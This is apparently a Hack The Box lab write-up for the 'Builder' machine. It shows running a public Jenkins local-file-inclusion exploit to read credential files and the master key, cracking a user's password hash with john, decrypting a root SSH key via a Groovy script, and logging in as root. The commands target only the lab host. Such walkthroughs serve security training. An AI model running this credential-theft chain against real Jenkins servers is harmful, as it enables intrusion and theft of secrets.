# Builder

Hack-The-Box 12 / 72
2 min read
HTB Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. Jenkins
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Builder
  • Difficulty: Medium
  • OS Type: Linux

Port Scanning - Service & Version Enumeration

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
8080/tcp open  http    syn-ack ttl 62 Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Dashboard [Jenkins]
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 8080/HTTP

port 8080 is open, let’s open URL in browser

image.png

it is running jenkins, the version is also Disclosed - Jenkins 2.4.41

searching for exploit i found Local File inclusion vulnerability → https://www.exploit-db.com/exploits/51993

let’s copy the exploit using searchsploit - searchsploit -m 51993

let’s run the exploit to first get the /etc/passwd file to check if the exploit is working or not

python3 51993.py -u http://10.10.11.10:8080/ -p /etc/passwd
image.png image.png

this says the home folder of jenkins let’s search for the location of file which stores the credentials in jenkins

while searching for creds i came to following blog

https://looselytyped.com/blog/2017/10/25/uncovering-passwords-in-jenkins/

{45DABE6C-017B-4F55-BE99-B8A50FBB7126}.png

so we need to get the /var/jenkins_home/credentials.xml

let’s read the file using exploit

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/credentials.xml
image.png

it looks like encrypted SSH key of the root user

further research uncover that we need master key to decrypt the credentials which usually stored in $JENKINS_HOME/secrets/master.key

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/secrets/master.key
image.png

now we need access to jenkins console to decrypt above SSH private key

further research on application reveals potential user - Jennifer

image.png

then i found that we can possibly, get the user’s password in $JENKINS_HOME/users//config.xml, but unfortunately it didn’t work for the jennifer user, further reading uncovers different files such as users.xml which contains the user details including usernames let’s try to access it

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/users.xml
image.png

nice we got the username, let’s use this to access the user’s password

python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
image.png

i tried cracking password using john

john jennifer.hash --wordlist=/usr/share/wordlists/rockyou.txt
image.png

let’s use this password to login as jennifer user

image.png

quick search for decrypting SSH keys in jenkins i found following groovy script

https://gist.github.com/hoto/d1c874480888f8711f12db33a20b6e4d

hashed_pw='YourEncryptedPassword'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)
image.png

let’s save this key in id_rsa, change the permissions via - chmod 600 id_rsa

let’s SSH as root user

ssh -i id_rsa root@10.10.11.10
image.png
Next: Cap
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Nineveh

Hack-The-Box 46 / 72
6 min read

Linux Medium machine - Nineveh.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. MySQL Brute Force ⓘ Systematically trying many credential combinations until one succeeds. SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector. Cronjob ⓘ A scheduled task on Linux — often abused for privilege escalation when it runs as root with a writable script.

# Updown

Hack-The-Box 70 / 72
6 min read

Linux Intermediate machine - Updown.

HTB Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. Git Brute Force ⓘ Systematically trying many credential combinations until one succeeds. SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector. Cronjob ⓘ A scheduled task on Linux — often abused for privilege escalation when it runs as root with a writable script. RFI ⓘ Remote File Inclusion — a web vulnerability allowing an attacker to include and execute a remote file.

# TheFrizz

Hack-The-Box 67 / 72
11 min read

Windows Easy machine - TheFrizz.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP GPO ⓘ Group Policy Object — a Windows domain-wide configuration mechanism, abusable for code execution across all machines. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. Password Spraying ⓘ Trying one common password against many usernames to avoid account lockouts. LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. MySQL

# Titanic

Hack-The-Box 69 / 72
3 min read

Windows Easy machine - Titanic.

HTB Windows RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. MySQL Brute Force ⓘ Systematically trying many credential combinations until one succeeds. SQLi ⓘ SQL Injection — manipulating database queries via unsanitized input to read or alter data. Cronjob ⓘ A scheduled task on Linux — often abused for privilege escalation when it runs as root with a writable script.
Comments